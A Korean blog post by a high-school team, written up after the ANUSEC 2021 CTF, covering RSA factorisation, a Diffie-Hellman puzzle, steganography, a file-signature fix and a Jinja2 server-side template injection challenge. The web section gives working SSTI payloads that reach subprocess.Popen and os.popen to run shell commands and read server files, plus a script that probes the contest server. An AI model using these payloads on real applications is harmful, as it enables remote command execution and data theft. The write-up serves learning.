Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Tags more
Archives
Today
Total
관리 메뉴

러닝머신 하는 K-공대생

ANUSEC 2021 CTF writeup 본문

카테고리 없음

ANUSEC 2021 CTF writeup

prgmti1 2021. 8. 22. 16:20

2021.8.21일 토요일 09:00~18:00까지 진행한 'ANUSEC 2021| 전국 고등학생 사이버 보안 경진대회'에 jihookang과 hjpaul과 함께 참여했으며 'HTML Is a Programming Language' 이름으로 어그로를 끌려고 했으나 'HIPL' 이란 팀명으로 참여했다. 이전에 참여한 해킹캠프에서 저 팀명이 인상깊어 베껴욌다 준비 부족으로 포렌식, 모바일, 네트워크는 과감하게 버리고 크립토, MISC, 웹 밖에 풀 수 없었다. 그래도 크립토라도 다 풀고 처음 나간 ctf 였는데 재밌게 풀고 12등 한 것에 만족한다.

 

Crypto.1 R u SmArt?

무지성으로 먼저 풀어서 퍼솔을 딴 문제이다. 문제 이름에서 볼 수 있다시피 RSA 문제이다. 그냥 eclipse factorization으로 p, q를 계산하고 e의 역원 d를 계산하여 c^d (mod p)를 구해 flag를 얻어낸다.

## RuSmArt?
from Crypto.Util.number import inverse, getPrime, isPrime
from Crypto.Util.number import long_to_bytes, bytes_to_long
from gmpy2 import *
from codecs import decode,encode
n = 10590366966076417595570792317976297486585973735265109992706967565031234009613315986205390133674703021462617665119677122719923561805290565404582801138864378945679773189212439570878404269996260991870767553538891451980522061495914424373657687947218017682045628741277266669508368089377423291044312776895567442396331329567391395896552091733418770785892867213563864238328848875001413892430288569687806252345465894812583090814867848795684396948633025617687442084773110132429318762161794156497529471267819009339280949284098175866485054404456639176348900807097870773882135682745029031447724168320716430535127455819318876153701
e = 65537
c = 6291988497464770013862201856868422374147378449322309646571263550980933744639517740387491722236197164063125581581771936675891942481214030119492744657798364708765512394385379695830203655177338559209297298299418587241672866261659672253787854864179417101068274393904516143793310739511682899571840692646941566622001758490944661606772579780769849245303926401670334760540732907140041705929234406631790471026248271675338736931862960338561678820108550760083043729191332219880881591671481063244415893843185640839421047595231461961597237565853019129776053251360133716558968021498404243397222428715337843172512831440111199781227
#https://www.alpertron.com.ar/ECM.HTM 에서 p,q구하자
a = '102909508628097226939733624169076075868714739502535814352532991718540035139851119611414288341478335 498817 865546 933211 233596 823515 594051 663934 208867 417000 210533 084180 879537 774053 299272 693321 312309 718315 213304 168742 731964 506798 584204 566743 127911 874061 104144 817561 774227 017428 725832 547565 932013 623168 411674 517687'
p = ''
for i in a:
    if i != ' ':
        p += i
p = int(p)
b = '102 909508 628097 226939 733624 169076 075868 714739 502535 814352 532991 718540 035139 851119 611414 288341 478335 498817 865546 933211 233596 823515 594051 663934 208867 417000 210533 084180 879537 774053 299272 693321 312309 718315 213304 168742 731964 506798 584204 566743 127911 874061 104144 817561 774227 017428 725832 547565 932013 623168 411674 518723'
q = ''
for i in b:
    if i != ' ':
        q += i
q = int(q)
phi_n = (p-1)*(q-1)
d = inverse(e,phi_n)
message = pow(c,d,n)
print(long_to_bytes(message))

대회 중엔 급해서 저렇게 풀었지만 p, q 값의 차이가 작아 fermat factorization으로 충분히 p, q값을 계산할 수 있다.

from Crypto.Util.number import long_to_bytes, bytes_to_long
from gmpy2 import *
n = 10590366966076417595570792317976297486585973735265109992706967565031234009613315986205390133674703021462617665119677122719923561805290565404582801138864378945679773189212439570878404269996260991870767553538891451980522061495914424373657687947218017682045628741277266669508368089377423291044312776895567442396331329567391395896552091733418770785892867213563864238328848875001413892430288569687806252345465894812583090814867848795684396948633025617687442084773110132429318762161794156497529471267819009339280949284098175866485054404456639176348900807097870773882135682745029031447724168320716430535127455819318876153701
e = 65537
c = 6291988497464770013862201856868422374147378449322309646571263550980933744639517740387491722236197164063125581581771936675891942481214030119492744657798364708765512394385379695830203655177338559209297298299418587241672866261659672253787854864179417101068274393904516143793310739511682899571840692646941566622001758490944661606772579780769849245303926401670334760540732907140041705929234406631790471026248271675338736931862960338561678820108550760083043729191332219880881591671481063244415893843185640839421047595231461961597237565853019129776053251360133716558968021498404243397222428715337843172512831440111199781227

# fermat factorization
p = isqrt(n)
while True:
    q, r = t_divmod(n, p)
    if r == 0:
        break
    p += 1
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = pow(c, d, n)
m = long_to_bytes(m)
print(m) #b'ADCTF{W@lc0m@_T0_RSA_W0r1d}'

 

Crypto2. Easy Peasy Diffie

이것도 가장 먼저 풀어 퍼솔을 딴 문제였다. 디피 헬만키 교환이라면, A, B가 비밀키 a, b를 가지고 있어서 g^a mod p, g^b mod p를 공개키로 두고 g^ab mod p로 암호를 얻는 방식이다. 문제에선 A, B, C 3명에 대해 g^a mod p, g^b mod p, g^c mod p만 주어졌기에 g^abc mod p를 알아내야 한다. 그냥 무작정 g^a를 기준으로 거듭제곱하여 브루트포스하여 알아내기엔 불가능하다. 따라서 각각의 g^a, g^b, g^c와 p를 인수분해하여 공통 인수로 표현하면 g^a = 21k, p = 22k로 표현이 되므로 답은 (-k)의 거듭제곱으로 나타난다. 많아야 오일러 법칙을 생각하면 나올 수 있는 범위가 줄어들어 일일이 키를 를 대입해보며 인증하면 된다. (long_to_byte 했을 때 어떤 flag 형식을 만족할 거라 기대하고 이 키를 가지고 XOR 등의 뻘짓을 했는데 jihookang이 그냥 이 숫자들을 인증시켜보니 인증이 됐다...)

## Easy Peasy Diffie
# we wanna solve g^abc mod p
# when factorize each public key... we can find common factor
ga = 5408787216934625390206205775 # 21 * 5^2 *13^4 × 23^5 × 29^2 × 31^2 × 37^5
gb = 1802929072311541796735401925 # 7  * 5^2 × 13^4 × 23^5 × 29^2 × 31^2 × 37^5
gc = 1287806480222529854811001375  # 5  * 5^2 × 13^4 × 23^5 × 29^2 × 31^2 × 37^5
k = 257561296044505970962200275
# https://xerxes-break.tistory.com/392
p = 5666348512979131361168406050 # 22 × 5^2 × 13^4 × 23^5 × 29^2 × 31^2 × 37^5
# ga = 21k, gb = 7k, gc = 5k, p = 22k
# g^abc = (((g^a)^b)^c)

db = []
for i in range(100):
    ans = pow(-k,i,p)
    if ans in db:
        break
    db.append(ans)
print(db)

# Cycle : 
# 5408787216934625390206205775
# 772683888133517912886600825
# 3348296848578577622508603575
# 1287806480222529854811001375
# 1802929072311541796735401925
# 257561296044505970962200275
# 4893664624845613448281805225
# 2318051664400553738659802475
# 4378542032756601506357404675
# 3863419440667589564433004125

 

Crypto3. Capsulation

3명이서 머리 굴려서 푼 문제라 뿌듯하다. 그런 만큼 좀 복잡한 문제 해결단계를 가지고 있다. 처음엔 악보 이미지가 나타난다. jihookang이 악보 사진을 보고 도에서부터 거리로 카이사르 암호를 떠올려 키를 얻고 hjpaul이 중간에 그 굿잡 사진은 터미널에서 binwalk goodjob.jpg 하면 그 사진 파일 안에 zip 파일이랑 딴 사진 파일 있다고 뜨고 Foremost FILENAME 하면 그 안에 있는 파일들 다 추출해줘서 거기에 그다음 zip 파일이랑 해골 사진 파일 있던 것이다. 해골 이미지는 내가 스테가노그래피로 text파일 비밀번호를 얻고 또 파일을 풀어 txt 파일을 다른 에디터로 열어 flag를 얻을 수 있었다. 사실 난 hjpaul이 준 이미지를 https://stylesuxx.github.io/steganography/ 에서 스테가노그래피로 압축 해제 키를 알려준 것뿐이라 팀원들이 진행한 자세한 과정은 물어본 후 추가하겠다.

 

Web1. Where is the sparrow?

무엇을 해야 할지 몰라 개발자 도구 키고 elements랑 network를 봐도 딱히 해볼 만한 게 없다 Jinja2를 보면서 구글링 해보았고 SSTI(Server Side Template Injection) 관련 문제라는 것을 알게 되었다. SSTI 취약점은 공격자가 서버 측의 기본 템플릿 구문을 이용해 악성 페이로드를 삽입하여 서버 측에 실행되면서 생기는 생기는 취약점이고, 이 경우에는 친절하게 웹 템플릿 엔진으로 Jinja2라는 점을 확인할 수 있다. (https://me2nuk.com/SSTI-Vulnerability/ 참고) 실제로 {{7*7}}을 입력했을 때 49가 나오는 것으로 보아 정말 Jinja2 구문을 이용해 flag를 탈취해야 한다는 점을 알 수 있었다.
{{config}}을 입력해 어떻게 구성되어 있는지를 확인했는데 'SECRET_KEY': '/sparrow/location.txt'를 찾을 수 있었다.


그냥 {{open('/sparrow/location.txt','rb').read()}} 로 시도해보면 Server Error가 발생해 파일 읽기 및 시스템 함수 호출을 위해 MRO를 이용해 사용할 클래스를 찾고자 했다. ''.__class__.__mro__ 를 시도하면 (<class 'str'>, <class 'object'>) 가 나오므로 object에 파일 열기와 관련된 부분이 있을 것으로 생각할 수 있다.

{{ ''.__class__.__mro__[1].__subclasses__()}} 를 해서 open과 관련된 부분을 찾았는데 <class'subprocess.Popen'> 적합해 보였는데 <> 가 막혀있어서 <class'subprocess.Popen'>몇 번째에 위치해있는지 찾아봤다. 즉 우회적으로 ''.__class__.__mro__[1].__subclasses__()[279] 를 활용해 payload를 작성해 ssti 공격을 시도할 수 있다.

## <class'subprocess.Popen'>가 몇번째에 위치해있는지 
#('SECRET_KEY', '/sparrow/location.txt'), 
import requests
url = 'http://112.175.232.146:20104/adctf1' 

for i in range(1000): 
    ssti = "{{ ''.__class__.__mro__[1].__subclasses__()[%d]}}" %i 
    res = requests.post(url,data = {'location':ssti}) 
    if 'subprocess.Popen' in res.text: 
    	print(i) # 279 
        break
payload: {{ ''.__class__.__mro__[1].__subclasses__()[279]('cat location.txt',shell=True,stdout=-1).communicate() }} 
ssti: b'ADCTF{Sp@rr0w_is_in_he@lthy_w0nJu}\n

한편 팀원 hjpaul은 더욱 간단히 {{ (config|attr("class")).init.globals['os'].popen('cat /sparrow/location.txt').read() }} 로 ssti에 성공했다.

Web2. Simple SSRF

의미 있는 관찰이라곤 f12 열어서 network flow를 관찰했을 때 서버의 작동방식을 나타낸 파이썬 파일을 찾을 수 있었는데 중간에 필터링 체크만 우회하면 될 것 같았다. https://jeonyoungsin.tistory.com/902 와 거의 동일하게 풀 수 있을 것 같아 시도했는데 대회 시간 내 끝내 마무리하지 못했다.

 

ISITDTU CTF 2019 Web Write up

해당 대회는 참여를 못해서 대회 끝나고 웹 문제가 열려있길래 풀어봤다. Rosé Garden 문제에 들어가보면 아래와 같이 SSRF로 보이는 기능하나가 보인다. 근데 이 기능만 가지고 뭐 터트려보려고

jeonyoungsin.tistory.com

 

MISC. Easy2Solve

압축파일을 풀면 welcom.png 파일이 나오는데 지원되지 않는 형식이라며 볼 수 없다. HxD로 열어 파일 시그니처를 확인해보면, 00 00 00 18 66 74 79 70의 mp4로 되어있다. 팀원들이 mp4 및 각종 동영상으로 변환을 시도했는데 안되어서 난 단순히 파일 시그니처를 png 형태인 89 50 4E 47 0D 0A 1A 0A로 바꾸었다. 그 결과 안보이던 이미지가 QR코드로 보이며 QR 코드에서 flag를 얻을 수 있다.

1wv_V0_HhH2vB_lvQW_17 가 나와서 바로 인증을 시도해보았으나 계속 인증이 안되어서 헤매대가 각종 decrypter에 넣어보며 카이사르 암호로 구할 수 있었다. 1ts_S0_EeE2sY_isNT_17


대회 후기

이전 PLUS 해킹캠프 참여 이후로 나가는 첫 ctf 대회였다. 이론 위주의 공부 후 실습 없이 잘할 수 있을까 걱정을 많이 했다. 개학 후 대회 전날까지 암호학과 웹을 집중적으로 공부했고 크립토는 다 풀었고 웹도 어느 정도 건드려보았으나 많이 어려웠다. 다른 팀원들도 포렌식, 네트워크 MISC 등 다양한 시도를 진행했는데 대회에서의 큰 성과를 거두진 못했다. 이번 대회에서 아쉬웠던 점은 바로 모바일, 네트워크, 포너블, 포렌식은 경험 부족으로 문제를 풀지 못했다는 점이다. 이번에 다른 사람들의 writeup을 참고해보며 부족한 이론을 보충해가고 싶다. 그래도 ctf를 준비하면서 난 암호학과 웹 쪽으로 많은 흥미가 생겼다는 점과 큰 의미는 없지만 몇몇 문제를 제일 먼저 풀어서 신나기도 했다. 나중에 대회에 출전할 땐 이번처럼 크립토와 웹을 담당해보고 싶다. 같이 참여한 지후(jihookang), 현준(hjpaul), 그리고 이렇게 좋은 문제를 준비해주신 안동대학교 주최 측에 감사의 말씀을 전하고 싶다. 이제 NYPC!!.... 는 무슨 내신이나 해야지

Comments